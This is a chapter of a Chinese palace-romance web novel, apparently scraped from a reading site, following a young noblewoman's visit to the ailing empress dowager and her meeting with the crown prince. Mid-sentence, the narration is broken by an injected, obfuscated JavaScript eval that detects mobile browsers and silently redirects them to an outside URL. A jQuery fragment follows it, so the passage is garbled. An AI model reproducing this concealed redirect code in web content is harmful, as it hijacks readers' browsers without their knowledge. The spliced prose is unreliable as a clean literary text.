默认冷灰
24号文字
方正启体

1. 须弥

作者:兰危本书字数:K更新时间:
    春光破晓。


    云喜小心地在屋内点上一盏灯,登时火光照亮了小半个房间,昏暗的烛火映着榻上之人的脸庞。


    这是一张恬静的睡颜,榻上之人被灯照到后眼睫受到刺激而微微颤动,雪白的肤色,只躺在那里就活像一幅古画。


    “姑娘,该起了罢,今日要随王妃进宫呢,可不能误了时辰。”云喜轻声道。


    李澜迷迷糊糊地想起这茬来,顾不得困意,揉了揉眼睛,撑起了身子。


    是了,今日是进宫的日子。宫中的皇太后——也就是李澜的姑祖母前些天身子不济倒下了,今日她是要随双亲进宫请安的。


    李澜顺着云喜的服饰边洗漱穿衣边慢吞吞问她:“二哥走了吗?”


    云喜给李澜整好衣领——进宫的服饰花样繁琐,少不得一番折腾,边答:“将军明日才走,现下已经去兵营了。”


    对于二哥要领兵出征西玄一事,李澜是极不舍的。


    靖勇将军李琅,为宁荣王嫡次子,年二十一,却已战功赫赫,此次被皇帝派出征战西玄,封常胜大将军,率几万精兵,于明日启程。


    二哥李琅是宁荣王府的骄傲,少年意气风发,坚勇俊逸,世人谈论起宁荣王府的后辈们,总是不约而同第一个想起这位大将军,使得李琅一度被世人调侃是宁荣王府的“二世子”,真世子李焕也总要被他压一头。


    李澜自小便极黏李琅,李琅性子活泼,也乐得带她出去玩闹,到了大哥李焕这,只是平常打个照面,恭敬得像是刚认识一般。


    “姑娘,今日不如戴这金玉流苏簪,也喜气些。”云喜给李澜梳着头道。


    金玉流苏簪乃是前些日子太后赐的,金中镶玉,坠着流苏,走起路来一颤一颤。


    李澜心不在焉地应下,就听门外婢女来禀:“姑娘,王妃在催呢。”


    李澜加紧了速度,心中不禁有些埋怨宫中用饭似上朝,又要吃得人浑身不舒服。


    “好了,走吧。”李澜临走前特意抹了些胭脂,衬得人颇有气色,明眸皓齿。


    云喜和其他婢女看穿了她的小心思,只暗里偷笑。


    “阿凰,怎的这么慢,快些上车,进宫可怠慢不得。”云陌鸾见女儿仍不着急,嗔道。


    姝凰是家中早些年为李澜取好的小名,太后在及笄礼上亲赐字茗慎后,外人便如此唤着,家里人习惯唤她阿凰,此名犯了些忌讳,故也只能私下叫着。


    宁荣王李见鸿倒是笑呵呵道:“我们阿凰也懂得打扮了呢。”


    李澜脸有些红,向父王母妃道过安便踏上马车,一行人直往皇宫去。


    “记着母妃和你说过的话了?一会儿进了颐年宫,不许吵着太后,凡事稳重些,嗯?”云陌鸾不放心,一路嘱咐着。


    “知道了,母妃。又不是第一次进宫了。”李澜小声抱怨,打小皇宫便如她的第二个家,因着常去,早就同宫内年龄一般大的孩子们混得亲手足般。


    远远在宫门前便看到太后身边的女官上前笑迎:“王爷可算来了,太后盼着呢。外头冷,快进去吧。”


    入室,李澜只觉一股热气扑面而来,太后宫中到了春天竟还燃着这么重的炭火,可见榻上之人虚弱到如何地步。


    “是鸿儿吗?”太后声音沙哑,隔着床帘,李澜只能看到薄弱的人影。


    “是,姑母,鸿儿带着王妃和茗慎来给您请安。”李见鸿带着妻女行礼。


    宁荣王李见鸿,原姓林,为太后兄长之子,兄嫂早逝,太后视如己出,常带进宫相陪,与皇帝自幼玩伴。林见鸿十八岁时,西南王反叛杀入宫中,他独带三千精兵救驾,一举剿灭叛军。因救驾有功,皇帝封其为宁荣王,赐姓李,并将生母侄女云陌鸾许配给她。


    太后膝下无子,为皇帝养母,宁荣王与皇帝的关系因为太后而紧密相连。李澜暗自知道,父亲实际不想做这个宁荣王,京城翻涌诡谲,她身在皇宫中,并非看不清。李见鸿一生尚武,这个梦想却在他十八岁初露锋芒时骤然破灭。值得欣慰的是,他还有儿子尚可继承他志。


    “咳……近来家中可好?哀家听闻琅儿明日就要领兵出征,战场刀剑无眼,该嘱咐他万分当心……”太后缓慢说着,李见鸿连连应是。


    太后支撑着起身,女官连忙小心扶起她。


    太后朝李澜招招手:“来,慎儿,好孩子,快过来到姑祖母跟前。隔着帘子,姑祖母怕过了病气给你。”


    李澜小心挨着榻边坐下,她仿佛能透过纱帘看到太后慈爱的目光。


    先前听太后身边女官说,她与太后小时极像。李澜初时不信,她见到的太后常是威严端庄的,怎会如她这般精怪?女官却说,太后年轻时也是国公府嫡女,活泼娇俏,只是一道圣旨,从此入了宫门,割裂了从前过往,只与孤独作伴过了余生。


    李澜执起太后的手,小声道:“姑祖母,您要快些好起来。”


    太后拍拍她的手:“好孩子,有你这句话,姑祖母恨不得明日就好呢。”


    太后忽又想起些什么,叹道:“我们慎儿长大了……”


    谈了会天,太后便遣着他们用饭,李见鸿本想留下陪同,却被太后摆摆手拒绝:“哀家有人侍候,你们去同皇帝用膳才是要紧。”


    临走前,太后特意提到:“慎儿与殊儿也许久未见了,既然进了宫,就好好陪陪你太子表哥,他兄弟姊妹少,在宫中难免寂寞。”


    李澜一下子被戳中了心事,脸上浮了些红晕,支支吾吾不知说些什么。


    当今太子李昭秦,乃皇后元含灯所出嫡长子,小名唤作元殊,刚行过冠礼。因着与李澜年岁相仿,两人自小便是青梅竹马,宫内宫外也颇有撮合的意思。


    算起来,自冠礼之后,李澜就再也没见过李昭秦,只因如今皇帝将一些政务交给他处理,平日忙得不见人。


    踏入乾元宫,愈发有威严之势,李澜不禁打了个寒颤。


    桌上已摆了些小菜,瞧着精致可人。


    大总管王福迎上来道:“请王爷稍候,陛下今日身子不适,此刻正歇在明妃宫中。”


    李澜从话中听出些不对,抬头只见父亲神情亦有了变化。


    王福没显出什么,恭敬地请他们一旁等待,李澜心中暗道老滑头。


    明妃乃朝中老将军王厉之女王若娴,自入宫以来便斩获殊宠。李澜打心眼里有些不喜这位明妃,虽是武将之女,却处处透着小家子气,不若元皇后温柔静淑。性格倒为小事,可自明妃获独宠后,李澜每每面见皇后,总能从她眉眼间窥见些许愁思。元皇后是李澜见过的世上最最温柔之人,能让她伤心的人,总好不到哪去。


    李澜没用早膳,此刻又昏昏沉沉想着事情,不免泛起困来。


    “陛下驾到——”宫外内侍的尖锐声音猛然惊醒了李澜,她匆匆跟着众人拜了下去。


    “飞卿不必多礼。”飞卿是李见鸿的字。皇帝扶起李见鸿,声音浑厚,颇有帝王之威。


    皇帝又向目光转向云陌鸾与李澜:“许久不见阿澜了——家中姨母可还好吗?朕听闻她前些日子染了风寒,心中甚是挂念。”


    所谓姨母,乃是云陌鸾母亲,皇帝生母——前朝丽妃亲妹。


    云陌鸾恭敬道:“谢陛下挂念,母亲如今已无大碍。”


    皇帝点点头,这才挥了挥手让众人落座。


    宫中公主甚少,只有一位庶出的公主早早嫁了人,因而皇帝对这位共有生母


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358523|168034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和养母血脉的小侄女格外亲昵,对李澜展开笑颜:“阿澜出落得越发俏丽了,朕特意让御厨做了你爱吃的鱼,快尝尝。”


    李澜虽仍有些怯,但皇帝对她素来包容,也就不再拘谨,填饱肚子是要紧。


    李澜心不在焉地吃了一会,一边想李昭秦此刻在作何,不知用膳了没有,饭菜能有桌上的精致可口么……


    余光中瞥见王福俯身朝皇帝低语了些什么,皇帝搁下玉筷:“让他进来。”


    李澜好像知道了是谁,同父母一起搁下筷子。


    门外一人跨步走进,只是看见飘进来的一角衣衫,李澜便可认出正是太子。


    头戴玉冠,眉眼间是和皇帝肖似的威严俊朗,仪态端方,身形修长,身高可与皇帝比肩。


    李澜随着父母站起来,李昭秦要行礼,被皇帝一把拦住:“今天是家宴,礼就免了。先见过你姑母和表妹。”


    李昭秦转身行了个薄礼:“见过姑母,表妹。”


    李澜跟着母亲回礼,却觉有一道目光暗戳戳黏在她身上,悄悄一抬眼,猝不及防与李昭秦撞了个正着。


    李澜俏皮地朝他眨了眨眼睛,李昭秦嘴角勾起一抹不被察觉的弧度。


    饭后,云陌鸾又去太后宫中陪她谈天,李见鸿与皇帝去正殿谈论政事,李澜便趁着机会和李昭秦溜到后花园。


    李澜不经意地踢了踢地上的小石子:“殿下近来很忙吗?”


    李昭秦怕她被石子绊倒,将它踢远了些:“嗯,父皇将有关西玄的政务交给我处理,我也常与你二哥商讨此事。”


    他与李澜讲话是从来不用“孤”自称的。


    李澜一听与李琅有关,也来了兴趣:“此去与西玄一战,有几成把握?可有十分危险?”


    李昭秦不自觉摩挲手上的玉扳指,道:“此前与西玄数战,西玄已国力大伤,此战当为最后一战,虽有多数胜算,却也有几分危险。”


    他这话说得委婉,知道李澜担心兄长,便想给她几分宽慰。


    李澜听了沉默不语。她不是不懂“将军百战死”的道理,心中也没了之前的轻松,只剩下要与二哥一别的揪心与不舍。


    李澜忽又想起王福先前说的话,轻声问:“元娘娘近来可好?我没赶上向她问安,殿下可要帮我带话,不然娘娘又该说我偏心的。”


    她说的是上次入宫时,李昭秦予她生辰礼——一只被他偷摸着精心雕刻的玉石小兔子,李澜爱不释手,刚拿到的几天眼珠子都快黏上了,元含灯早就看破两人的心思,打趣道李澜进宫只关心她太子表哥,连看一眼元娘娘都不舍得。


    李昭秦也想起这茬来,嘴角带了些笑意,“母后一切尚安,也总是挂念你呢。”他没告诉李澜的是,元后患的是心病,且已无药可医。


    他余光瞥到李澜衣裙下摆被盖住却漏出一角的玉石小兔子,心中好似被填满了似的满足,故意逗她:“这是什么?嗯?做成坠子也不怕被人说闲话?”


    李澜看出他逗弄的心思,也有些恼了:“我喜欢便做了,谁敢说我闲话?”她还有一句未说完,况且你也不会让我被人说闲话的。


    李昭秦逗她向来是见好就收,见李澜也不等他,自顾自向前走,连忙两三大步赶上她的步伐:“那是自然,谁敢说孤未来太子妃的闲话?”


    年少的心动,总是不经意萌发却又悄然无声。


    李澜被他说红了脸:“胡说什么……”


    李昭秦自然地牵过她的手,假装没看到她的羞赧,“你若是喜欢,往后我再给你做狸奴样式的,可好?”


    李澜盯了会两人牵在一起的手,骤然抬头望进了少年的眼底,找到了自己想要的答案。


    “好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)